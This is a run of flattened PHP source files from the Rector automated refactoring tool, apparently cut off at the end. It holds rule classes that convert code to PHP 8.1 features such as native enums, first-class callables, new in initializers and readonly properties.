isDynamic(New_ $new) : bool { if (!$new->class instanceof FullyQualified) { return \true; } if ($new->isFirstClassCallable()) { return \false; } $args = $new->getArgs(); foreach ($args as $arg) { $value = $arg->value; if ($this->isAllowedNew($value)) { continue; } // new inside array is allowed for New in initializer if ($value instanceof Array_ && $this->isAllowedArray($value)) { continue; } if (!$this->exprAnalyzer->isDynamicExpr($value)) { continue; } return \true; } return \false; } private function isAllowedNew(Expr $expr) : bool { if ($expr instanceof New_) { return !$this->isDynamic($expr); } return \false; } private function isAllowedArray(Array_ $array) : bool { if (!$this->exprAnalyzer->isDynamicArray($array)) { return \true; } $arrayItems = $array->items; foreach ($arrayItems as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if (!$arrayItem->value instanceof New_) { return \false; } if ($this->isDynamic($arrayItem->value)) { return \false; } } return \true; } } nodeNameResolver = $nodeNameResolver; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->builderFactory = $builderFactory; $this->valueResolver = $valueResolver; $this->betterNodeFinder = $betterNodeFinder; } public function createFromClass(Class_ $class) : Enum_ { $shortClassName = $this->nodeNameResolver->getShortName($class); $enum = new Enum_($shortClassName, [], ['startLine' => $class->getStartLine(), 'endLine' => $class->getEndLine()]); $enum->namespacedName = $class->namespacedName; $constants = $class->getConstants(); $enum->stmts = $class->getTraitUses(); if ($constants !== []) { $value = $this->valueResolver->getValue($constants[0]->consts[0]->value); $enum->scalarType = \is_string($value) ? new Identifier('string') : new Identifier('int'); // constant to cases foreach ($constants as $constant) { $enum->stmts[] = $this->createEnumCaseFromConst($constant); } } $enum->stmts = \array_merge($enum->stmts, $class->getMethods()); return $enum; } public function createFromSpatieClass(Class_ $class, bool $enumNameInSnakeCase = \false) : Enum_ { $shortClassName = $this->nodeNameResolver->getShortName($class); $enum = new Enum_($shortClassName, [], ['startLine' => $class->getStartLine(), 'endLine' => $class->getEndLine()]); $enum->namespacedName = $class->namespacedName; // constant to cases $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($class); $docBlockMethods = $phpDocInfo->getTagsByName('@method'); if ($docBlockMethods !== []) { $mapping = $this->generateMappingFromClass($class); $identifierType = $this->getIdentifierTypeFromMappings($mapping); $enum->scalarType = new Identifier($identifierType); foreach ($docBlockMethods as $docBlockMethod) { $enum->stmts[] = $this->createEnumCaseFromDocComment($docBlockMethod, $class, $mapping, $enumNameInSnakeCase); } } return $enum; } private function createEnumCaseFromConst(ClassConst $classConst) : EnumCase { $constConst = $classConst->consts[0]; $enumCase = new EnumCase($constConst->name, $constConst->value, [], ['startLine' => $constConst->getStartLine(), 'endLine' => $constConst->getEndLine()]); // mirror comments $enumCase->setAttribute(AttributeKey::PHP_DOC_INFO, $classConst->getAttribute(AttributeKey::PHP_DOC_INFO)); $enumCase->setAttribute(AttributeKey::COMMENTS, $classConst->getAttribute(AttributeKey::COMMENTS)); return $enumCase; } /** * @param array $mapping */ private function createEnumCaseFromDocComment(PhpDocTagNode $phpDocTagNode, Class_ $class, array $mapping = [], bool $enumNameInSnakeCase = \false) : EnumCase { /** @var MethodTagValueNode $nodeValue */ $nodeValue = $phpDocTagNode->value; $enumValue = $mapping[$nodeValue->methodName] ?? $nodeValue->methodName; if ($enumNameInSnakeCase) { $enumName = \strtoupper(Strings::replace($nodeValue->methodName, self::PASCAL_CASE_TO_UNDERSCORE_REGEX, '_$0')); $enumName = Strings::replace($enumName, self::MULTI_UNDERSCORES_REGEX, '_'); } else { $enumName = \strtoupper($nodeValue->methodName); } $enumExpr = $this->builderFactory->val($enumValue); return new EnumCase($enumName, $enumExpr, [], ['startLine' => $class->getStartLine(), 'endLine' => $class->getEndLine()]); } /** * @return array */ private function generateMappingFromClass(Class_ $class) : array { $classMethod = $class->getMethod('values'); if (!$classMethod instanceof ClassMethod) { return []; } $returns = $this->betterNodeFinder->findReturnsScoped($classMethod); /** @var array $mapping */ $mapping = []; foreach ($returns as $return) { if (!$return->expr instanceof Array_) { continue; } $mapping = $this->collectMappings($return->expr->items, $mapping); } return $mapping; } /** * @param null[]|ArrayItem[] $items * @param array $mapping * @return array */ private function collectMappings(array $items, array $mapping) : array { foreach ($items as $item) { if (!$item instanceof ArrayItem) { continue; } if (!$item->key instanceof LNumber && !$item->key instanceof String_) { continue; } if (!$item->value instanceof LNumber && !$item->value instanceof String_) { continue; } $mapping[$item->key->value] = $item->value->value; } return $mapping; } /** * @param array $mapping */ private function getIdentifierTypeFromMappings(array $mapping) : string { $callableGetType = static function ($value) : string { return \gettype($value); }; $valueTypes = \array_map($callableGetType, $mapping); $uniqueValueTypes = \array_unique($valueTypes); if (\count($uniqueValueTypes) === 1) { $identifierType = \reset($uniqueValueTypes); if ($identifierType === 'integer') { $identifierType = 'int'; } } else { $identifierType = 'string'; } return $identifierType; } } arrayCallableMethodMatcher = $arrayCallableMethodMatcher; $this->reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; } public function getRuleDefinition() : RuleDefinition { // see RFC https://wiki.php.net/rfc/first_class_callable_syntax return new RuleDefinition('Upgrade array callable to first class callable', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run() { $name = [$this, 'name']; } public function name() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run() { $name = $this->name(...); } public function name() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Property::class, ClassConst::class, Array_::class]; } /** * @param Property|ClassConst|Array_ $node * @return int|null|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall */ public function refactorWithScope(Node $node, Scope $scope) { if ($node instanceof Property || $node instanceof ClassConst) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } $arrayCallable = $this->arrayCallableMethodMatcher->match($node, $scope); if (!$arrayCallable instanceof ArrayCallable) { return null; } $callerExpr = $arrayCallable->getCallerExpr(); if (!$callerExpr instanceof Variable && !$callerExpr instanceof PropertyFetch && !$callerExpr instanceof ClassConstFetch) { return null; } $args = [new VariadicPlaceholder()]; if ($callerExpr instanceof ClassConstFetch) { $type = $this->getType($callerExpr->class); if ($type instanceof FullyQualifiedObjectType && $this->isNonStaticOtherObject($type, $arrayCallable, $scope)) { return null; } return new StaticCall($callerExpr->class, $arrayCallable->getMethod(), $args); } $methodName = $arrayCallable->getMethod(); $methodCall = new MethodCall($callerExpr, $methodName, $args); $classReflection = $this->reflectionResolver->resolveClassReflectionSourceObject($methodCall); if ($classReflection instanceof ClassReflection && $classReflection->hasNativeMethod($methodName)) { $method = $classReflection->getNativeMethod($methodName); if (!$method->isPublic()) { return null; } } return $methodCall; } public function provideMinPhpVersion() : int { return PhpVersion::PHP_81; } private function isNonStaticOtherObject(FullyQualifiedObjectType $fullyQualifiedObjectType, ArrayCallable $arrayCallable, Scope $scope) : bool { $classReflection = $scope->getClassReflection(); if ($classReflection instanceof ClassReflection && $classReflection->getName() === $fullyQualifiedObjectType->getClassName()) { return \false; } $arrayClassReflection = $this->reflectionProvider->getClass($arrayCallable->getClass()); // we're unable to find it if (!$arrayClassReflection->hasMethod($arrayCallable->getMethod())) { return \false; } $extendedMethodReflection = $arrayClassReflection->getMethod($arrayCallable->getMethod(), $scope); if (!$extendedMethodReflection->isStatic()) { return \true; } return !$extendedMethodReflection->isPublic(); } } reflectionResolver = $reflectionResolver; $this->classChildAnalyzer = $classChildAnalyzer; $this->coalesePropertyAssignMatcher = $coalesePropertyAssignMatcher; $this->stmtsManipulator = $stmtsManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace property declaration of new state with direct new', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { private Logger $logger; public function __construct( ?Logger $logger = null, ) { $this->logger = $logger ?? new NullLogger; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function __construct( private Logger $logger = new NullLogger, ) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null || $node->stmts === []) { return null; } if ($node->isAbstract() || $node->isAnonymous()) { return null; } $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return null; } $params = $this->resolveParams($constructClassMethod); if ($params === []) { return null; } $hasChanged = \false; // stmts variable defined to avoid unset overlap when used via array_slice() on // StmtsManipulator::isVariableUsedInNextStmt() // @see https://github.com/rectorphp/rector-src/pull/5968 // @see https://3v4l.org/eojhk $stmts = (array) $constructClassMethod->stmts; foreach ((array) $constructClassMethod->stmts as $key => $stmt) { foreach ($params as $param) { $paramName = $this->getName($param); $coalesce = $this->coalesePropertyAssignMatcher->matchCoalesceAssignsToLocalPropertyNamed($stmt, $paramName); if (!$coalesce instanceof Coalesce) { continue; } if ($this->stmtsManipulator->isVariableUsedInNextStmt($stmts, $key + 1, $paramName)) { continue; } /** @var NullableType $currentParamType */ $currentParamType = $param->type; $param->type = $currentParamType->type; $param->default = $coalesce->right; unset($constructClassMethod->stmts[$key]); $this->processPropertyPromotion($node, $param, $paramName); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NEW_INITIALIZERS; } /** * @return Param[] */ private function resolveParams(ClassMethod $classMethod) : array { $params = $this->matchConstructorParams($classMethod); if ($params === []) { return []; } if ($this->isOverrideAbstractMethod($classMethod)) { return []; } return $params; } private function isOverrideAbstractMethod(ClassMethod $classMethod) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); $methodName = $this->nodeNameResolver->getName($classMethod); return $classReflection instanceof ClassReflection && $this->classChildAnalyzer->hasAbstractParentClassMethod($classReflection, $methodName); } private function processPropertyPromotion(Class_ $class, Param $param, string $paramName) : void { foreach ($class->stmts as $key => $stmt) { if (!$stmt instanceof Property) { continue; } $property = $stmt; if (!$this->isName($stmt, $paramName)) { continue; } $param->flags = $property->flags; $param->attrGroups = \array_merge($property->attrGroups, $param->attrGroups); unset($class->stmts[$key]); } } /** * @return Param[] */ private function matchConstructorParams(ClassMethod $classMethod) : array { // skip empty constructor assigns, as we need those here if ($classMethod->stmts === null || $classMethod->stmts === []) { return []; } return \array_filter($classMethod->params, static function (Param $param) : bool { return $param->type instanceof NullableType; }); } } enumFactory = $enumFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Refactor MyCLabs enum class to native Enum', [new CodeSample(<<<'CODE_SAMPLE' use MyCLabs\Enum\Enum; final class Action extends Enum { private const VIEW = 'view'; private const EDIT = 'edit'; } CODE_SAMPLE , <<<'CODE_SAMPLE' enum Action : string { case VIEW = 'view'; case EDIT = 'edit'; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$this->isObjectType($node, new ObjectType('MyCLabs\\Enum\\Enum'))) { return null; } return $this->enumFactory->createFromClass($node); } public function provideMinPhpVersion() : int { return PhpVersionFeature::ENUM; } } enumFactory = $enumFactory; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ENUM; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Refactor Spatie enum class to native Enum', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' use \Spatie\Enum\Enum; /** * @method static self draft() * @method static self published() * @method static self archived() */ class StatusEnum extends Enum { } CODE_SAMPLE , <<<'CODE_SAMPLE' enum StatusEnum : string { case DRAFT = 'draft'; case PUBLISHED = 'published'; case ARCHIVED = 'archived'; } CODE_SAMPLE , [self::TO_UPPER_SNAKE_CASE => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Enum_ { if (!$this->isObjectType($node, new ObjectType('Spatie\\Enum\\Enum'))) { return null; } return $this->enumFactory->createFromSpatieClass($node, $this->toUpperSnakeCase); } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { $this->toUpperSnakeCase = $configuration[self::TO_UPPER_SNAKE_CASE] ?? \false; } } reflectionResolver = $reflectionResolver; $this->argsAnalyzer = $argsAnalyzer; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change null to strict string defined function call args', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { preg_split("#a#", null); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { preg_split("#a#", ''); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return null; } $args = $node->getArgs(); $positions = $this->argsAnalyzer->hasNamedArg($args) ? $this->resolveNamedPositions($node, $args) : $this->resolveOriginalPositions($node, $scope); if ($positions === []) { return null; } $classReflection = $scope->getClassReflection(); $isTrait = $classReflection instanceof ClassReflection && $classReflection->isTrait(); $functionReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($node); if (!$functionReflection instanceof FunctionReflection) { return null; } $parametersAcceptor = ParametersAcceptorSelectorVariantsWrapper::select($functionReflection, $node, $scope); $isChanged = \false; foreach ($positions as $position) { $result = $this->processNullToStrictStringOnNodePosition($node, $args, $position, $isTrait, $scope, $parametersAcceptor); if ($result instanceof Node) { $node = $result; $isChanged = \true; } } if ($isChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DEPRECATE_NULL_ARG_IN_STRING_FUNCTION; } /** * @param Arg[] $args * @return int[]|string[] */ private function resolveNamedPositions(FuncCall $funcCall, array $args) : array { $functionName = $this->nodeNameResolver->getName($funcCall); $argNames = NameNullToStrictNullFunctionMap::FUNCTION_TO_PARAM_NAMES[$functionName]; $positions = []; foreach ($args as $position => $arg) { if (!$arg->name instanceof Identifier) { continue; } if (!$this->nodeNameResolver->isNames($arg->name, $argNames)) { continue; } $positions[] = $position; } return $positions; } /** * @param Arg[] $args * @param int|string $position */ private function processNullToStrictStringOnNodePosition(FuncCall $funcCall, array $args, $position, bool $isTrait, Scope $scope, ParametersAcceptor $parametersAcceptor) : ?FuncCall { if (!isset($args[$position])) { return null; } $argValue = $args[$position]->value; if ($argValue instanceof ConstFetch && $this->valueResolver->isNull($argValue)) { $args[$position]->value = new String_(''); $funcCall->args = $args; return $funcCall; } $type = $this->nodeTypeResolver->getType($argValue); if ($type->isString()->yes()) { return null; } $nativeType = $this->nodeTypeResolver->getNativeType($argValue); if ($nativeType->isString()->yes()) { return null; } if ($this->shouldSkipType($type)) { return null; } if ($argValue instanceof Encapsed) { return null; } if ($this->isAnErrorType($argValue, $nativeType, $scope)) { return null; } if ($this->shouldSkipTrait($argValue, $type, $isTrait)) { return null; } $parameter = $parametersAcceptor->getParameters()[$position] ?? null; if ($parameter instanceof NativeParameterWithPhpDocsReflection && $parameter->getType() instanceof UnionType) { $parameterType = $parameter->getType(); if (!$this->isValidUnionType($parameterType)) { return null; } } $args[$position]->value = new CastString_($argValue); $funcCall->args = $args; return $funcCall; } private function isValidUnionType(Type $type) : bool { if (!$type instanceof UnionType) { return \false; } foreach ($type->getTypes() as $childType) { if ($childType->isString()->yes()) { continue; } if ($childType->isNull()->yes()) { continue; } return \false; } return \true; } private function shouldSkipType(Type $type) : bool { return !$type instanceof MixedType && !$type instanceof NullType && !$this->isValidUnionType($type); } private function shouldSkipTrait(Expr $expr, Type $type, bool $isTrait) : bool { if (!$type instanceof MixedType) { return \false; } if (!$isTrait) { return \false; } if ($type->isExplicitMixed()) { return \false; } if (!$expr instanceof MethodCall) { return $this->propertyFetchAnalyzer->isLocalPropertyFetch($expr); } return \true; } private function isAnErrorType(Expr $expr, Type $type, Scope $scope) : bool { if ($type instanceof ErrorType) { return \true; } $parentScope = $scope->getParentScope(); if ($parentScope instanceof Scope) { return $parentScope->getType($expr) instanceof ErrorType; } return \false; } /** * @return int[]|string[] */ private function resolveOriginalPositions(FuncCall $funcCall, Scope $scope) : array { $functionReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($funcCall); if (!$functionReflection instanceof NativeFunctionReflection) { return []; } $parametersAcceptor = ParametersAcceptorSelectorVariantsWrapper::select($functionReflection, $funcCall, $scope); $functionName = $functionReflection->getName(); $argNames = NameNullToStrictNullFunctionMap::FUNCTION_TO_PARAM_NAMES[$functionName]; $positions = []; foreach ($parametersAcceptor->getParameters() as $position => $parameterReflection) { if (\in_array($parameterReflection->getName(), $argNames, \true)) { $positions[] = $position; } } return $positions; } private function shouldSkip(FuncCall $funcCall) : bool { $functionNames = \array_keys(NameNullToStrictNullFunctionMap::FUNCTION_TO_PARAM_NAMES); if (!$this->nodeNameResolver->isNames($funcCall, $functionNames)) { return \true; } return $funcCall->isFirstClassCallable(); } } reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Refactor MyCLabs enum fetch to Enum const', [new CodeSample(<<<'CODE_SAMPLE' $name = SomeEnum::VALUE()->getKey(); CODE_SAMPLE , <<<'CODE_SAMPLE' $name = SomeEnum::VALUE; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param MethodCall|StaticCall $node */ public function refactor(Node $node) : ?Node { if ($node->name instanceof Expr) { return null; } $enumCaseName = $this->getName($node->name); if ($enumCaseName === null) { return null; } if ($this->shouldOmitEnumCase($enumCaseName)) { return null; } if ($node instanceof MethodCall) { return $this->refactorMethodCall($node, $enumCaseName); } if (!$this->isObjectType($node->class, new ObjectType('MyCLabs\\Enum\\Enum'))) { return null; } $className = $this->getName($node->class); if (!\is_string($className)) { return null; } if (!$this->isEnumConstant($className, $enumCaseName)) { return null; } return $this->nodeFactory->createClassConstFetch($className, $enumCaseName); } public function provideMinPhpVersion() : int { return PhpVersionFeature::ENUM; } private function isEnumConstant(string $className, string $constant) : bool { $classReflection = $this->reflectionProvider->getClass($className); return $classReflection->hasConstant($constant); } private function refactorGetKeyMethodCall(MethodCall $methodCall) : ?ClassConstFetch { if (!$methodCall->var instanceof StaticCall) { return null; } $staticCall = $methodCall->var; $className = $this->getName($staticCall->class); if ($className === null) { return null; } $enumCaseName = $this->getName($staticCall->name); if ($enumCaseName === null) { return null; } if ($this->shouldOmitEnumCase($enumCaseName)) { return null; } return $this->nodeFactory->createClassConstFetch($className, $enumCaseName); } private function refactorGetValueMethodCall(MethodCall $methodCall) : ?PropertyFetch { if (!$methodCall->var instanceof StaticCall) { return null; } $staticCall = $methodCall->var; $className = $this->getName($staticCall->class); if ($className === null) { return null; } $enumCaseName = $this->getName($staticCall->name); if ($enumCaseName === null) { return null; } if ($this->shouldOmitEnumCase($enumCaseName)) { return null; } $classConstFetch = $this->nodeFactory->createClassConstFetch($className, $enumCaseName); return new PropertyFetch($classConstFetch, 'value'); } private function refactorEqualsMethodCall(MethodCall $methodCall) : ?Identical { $expr = $this->getNonEnumReturnTypeExpr($methodCall->var); if (!$expr instanceof Expr) { $expr = $this->getValidEnumExpr($methodCall->var); if (!$expr instanceof Expr) { return null; } } $arg = $methodCall->getArgs()[0] ?? null; if (!$arg instanceof Arg) { return null; } $right = $this->getNonEnumReturnTypeExpr($arg->value); if (!$right instanceof Expr) { $right = $this->getValidEnumExpr($arg->value); if (!$right instanceof Expr) { return null; } } return new Identical($expr, $right); } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $node */ private function isCallerClassEnum($node) : bool { if ($node instanceof StaticCall) { return $this->isObjectType($node->class, new ObjectType('MyCLabs\\Enum\\Enum')); } return $this->isObjectType($node->var, new ObjectType('MyCLabs\\Enum\\Enum')); } /** * @return null|\PhpParser\Node\Expr\ClassConstFetch|\PhpParser\Node\Expr */ private function getNonEnumReturnTypeExpr(Node $node) { if (!$node instanceof StaticCall && !$node instanceof MethodCall) { return null; } if ($this->isCallerClassEnum($node)) { $methodName = $this->getName($node->name); if ($methodName === null) { return null; } if ($node instanceof StaticCall) { $className = $this->getName($node->class); } if ($node instanceof MethodCall) { $className = $this->getName($node->var); } if ($className === null) { return null; } $classReflection = $this->reflectionProvider->getClass($className); // method self::getValidEnumExpr process enum static methods from constants if ($classReflection->hasConstant($methodName)) { return null; } } return $node; } /** * @return null|\PhpParser\Node\Expr\ClassConstFetch|\PhpParser\Node\Expr */ private function getValidEnumExpr(Node $node) { switch (\get_class($node)) { case Variable::class: case PropertyFetch::class: return $this->getPropertyFetchOrVariable($node); case StaticCall::class: return $this->getEnumConstFetch($node); default: return null; } } /** * @param \PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\Variable $expr * @return null|\PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\Variable */ private function getPropertyFetchOrVariable($expr) { if (!$this->isObjectType($expr, new ObjectType('MyCLabs\\Enum\\Enum'))) { return null; } return $expr; } private function getEnumConstFetch(StaticCall $staticCall) : ?\PhpParser\Node\Expr\ClassConstFetch { $className = $this->getName($staticCall->class); if ($className === null) { return null; } $enumCaseName = $this->getName($staticCall->name); if ($enumCaseName === null) { return null; } if ($this->shouldOmitEnumCase($enumCaseName)) { return null; } return $this->nodeFactory->createClassConstFetch($className, $enumCaseName); } /** * @return null|\PhpParser\Node\Expr\ClassConstFetch|\PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\BinaryOp\Identical */ private function refactorMethodCall(MethodCall $methodCall, string $methodName) { if (!$this->isObjectType($methodCall->var, new ObjectType('MyCLabs\\Enum\\Enum'))) { return null; } if ($methodName === 'getKey') { return $this->refactorGetKeyMethodCall($methodCall); } if ($methodName === 'getValue') { return $this->refactorGetValueMethodCall($methodCall); } if ($methodName === 'equals') { return $this->refactorEqualsMethodCall($methodCall); } return null; } private function shouldOmitEnumCase(string $enumCaseName) : bool { return \in_array($enumCaseName, self::ENUM_METHODS, \true); } } getValue(); $value2 = SomeEnum::SOME_CONSTANT()->value; $name1 = SomeEnum::SOME_CONSTANT()->getName(); $name2 = SomeEnum::SOME_CONSTANT()->name; CODE_SAMPLE , <<<'CODE_SAMPLE' $value1 = SomeEnum::SOME_CONSTANT->value; $value2 = SomeEnum::SOME_CONSTANT->value; $name1 = SomeEnum::SOME_CONSTANT->name; $name2 = SomeEnum::SOME_CONSTANT->name; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param MethodCall|StaticCall $node */ public function refactor(Node $node) : ?Node { if ($node->name instanceof Expr) { return null; } $enumCaseName = $this->getName($node->name); if ($enumCaseName === null) { return null; } if ($this->shouldOmitEnumCase($enumCaseName)) { return null; } if ($node instanceof MethodCall) { return $this->refactorMethodCall($node, $enumCaseName); } if (!$this->isObjectType($node->class, new ObjectType(self::SPATIE_FQN))) { return null; } $className = $this->getName($node->class); if (!\is_string($className)) { return null; } $constantName = \strtoupper($enumCaseName); return $this->nodeFactory->createClassConstFetch($className, $constantName); } public function provideMinPhpVersion() : int { return PhpVersionFeature::ENUM; } private function refactorGetterToMethodCall(MethodCall $methodCall, string $property) : ?PropertyFetch { if (!$methodCall->var instanceof StaticCall) { return null; } $staticCall = $methodCall->var; $className = $this->getName($staticCall->class); if ($className === null) { return null; } $enumCaseName = $this->getName($staticCall->name); if ($enumCaseName === null) { return null; } if ($this->shouldOmitEnumCase($enumCaseName)) { return null; } $upperCaseName = \strtoupper($enumCaseName); $classConstFetch = $this->nodeFactory->createClassConstFetch($className, $upperCaseName); return new PropertyFetch($classConstFetch, $property); } private function refactorMethodCall(MethodCall $methodCall, string $methodName) : ?\PhpParser\Node\Expr\PropertyFetch { if (!$this->isObjectType($methodCall->var, new ObjectType(self::SPATIE_FQN))) { return null; } if ($methodName === 'getName') { return $this->refactorGetterToMethodCall($methodCall, 'name'); } if ($methodName === 'label') { return $this->refactorGetterToMethodCall($methodCall, 'name'); } if ($methodName === 'getValue') { return $this->refactorGetterToMethodCall($methodCall, 'value'); } if ($methodName === 'value') { return $this->refactorGetterToMethodCall($methodCall, 'value'); } return null; } private function shouldOmitEnumCase(string $enumCaseName) : bool { return \in_array($enumCaseName, self::ENUM_METHODS, \true); } } propertyManipulator = $propertyManipulator; $this->propertyFetchAssignManipulator = $propertyFetchAssignManipulator; $this->paramAnalyzer = $paramAnalyzer; $this->visibilityManipulator = $visibilityManipulator; $this->betterNodeFinder = $betterNodeFinder; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Decorate read-only property with `readonly` attribute', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function __construct( private string $name ) { } public function getName() { return $this->name; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function __construct( private readonly string $name ) { } public function getName() { return $this->name; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node)) { return null; } $hasChanged = \false; $classMethod = $node->getMethod(MethodName::CONSTRUCT); if ($classMethod instanceof ClassMethod) { foreach ($classMethod->params as $param) { $justChanged = $this->refactorParam($node, $classMethod, $param, $scope); // different variable to ensure $hasRemoved not replaced if ($justChanged instanceof Param) { $hasChanged = \true; } } } foreach ($node->getProperties() as $property) { $changedProperty = $this->refactorProperty($node, $property, $scope); if ($changedProperty instanceof Property) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::READONLY_PROPERTY; } private function refactorProperty(Class_ $class, Property $property, Scope $scope) : ?Property { // 1. is property read-only? if ($property->isReadonly()) { return null; } if ($property->props[0]->default instanceof Expr) { return null; } if ($property->type === null) { return null; } if ($property->isStatic()) { return null; } if (!$this->visibilityManipulator->hasVisibility($property, Visibility::PRIVATE)) { return null; } if ($this->propertyManipulator->isPropertyChangeableExceptConstructor($class, $property, $scope)) { return null; } if ($this->propertyFetchAssignManipulator->isAssignedMultipleTimesInConstructor($class, $property)) { return null; } $this->visibilityManipulator->makeReadonly($property); $attributeGroups = $property->attrGroups; if ($attributeGroups !== []) { $property->setAttribute(AttributeKey::ORIGINAL_NODE, null); } $this->removeReadOnlyDoc($property); return $property; } /** * @param \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param $node */ private function removeReadOnlyDoc($node) : void { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $readonlyDoc = $phpDocInfo->getByName('readonly'); if (!$readonlyDoc instanceof PhpDocTagNode) { return; } if (!$readonlyDoc->value instanceof GenericTagValueNode) { return; } if ($readonlyDoc->value->value !== '') { return; } $phpDocInfo->removeByName('readonly'); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); } private function refactorParam(Class_ $class, ClassMethod $classMethod, Param $param, Scope $scope) : ?\PhpParser\Node\Param { if (!$this->visibilityManipulator->hasVisibility($param, Visibility::PRIVATE)) { return null; } if ($param->type === null) { return null; } // early check not property promotion and already readonly if ($param->flags === 0 || $this->visibilityManipulator->isReadonly($param)) { return null; } if ($this->propertyManipulator->isPropertyChangeableExceptConstructor($class, $param, $scope)) { return null; } if ($this->paramAnalyzer->isParamReassign($classMethod, $param)) { return null; } if ($this->isPromotedPropertyAssigned($class, $param)) { return null; } if ($param->attrGroups !== []) { $param->setAttribute(AttributeKey::ORIGINAL_NODE, null); } $this->visibilityManipulator->makeReadonly($param); $this->removeReadOnlyDoc($param); return $param; } private function isPromotedPropertyAssigned(Class_ $class, Param $param) : bool { $constructClassMethod = $class->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return \false; } if ($param->flags === 0) { return \false; } $propertyFetch = new PropertyFetch(new Variable('this'), $this->getName($param)); $isAssigned = \false; $this->traverseNodesWithCallable($class->stmts, function (Node $node) use($propertyFetch, &$isAssigned) : ?int { if (!$node instanceof Assign) { return null; } if ($this->nodeComparator->areNodesEqual($propertyFetch, $node->var)) { $isAssigned = \true; return NodeTraverser::STOP_TRAVERSAL; } return null; }); return $isAssigned; } private function shouldSkip(Class_ $class) : bool { if ($class->isReadonly()) { return \true; } // not safe if ($class->getTraitUses() !== []) { return \true; } // skip "clone $this" cases, as can create unexpected write to local constructor property return $this->hasCloneThis($class); } private function hasCloneThis(Class_ $class) : bool { return (bool) $this->betterNodeFinder->findFirst($class, function (Node $node) : bool { if (!$node instanceof Clone_) { return \false; } if (!$node->expr instanceof Variable) { return \false; } return $this->isName($node->expr, 'this'); }); } } classAnalyzer = $classAnalyzer; $this->visibilityManipulator = $visibilityManipulator; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Decorate read-only class with `readonly` attribute', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function __construct( private readonly string $name ) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' final readonly class SomeClass { public function __construct( private string $name ) { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } $this->visibilityManipulator->makeReadonly($node); $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if ($constructClassMethod instanceof ClassMethod) { foreach ($constructClassMethod->getParams() as $param) { $this->visibilityManipulator->removeReadonly($param); if ($param->attrGroups !== []) { // invoke reprint with correct newline 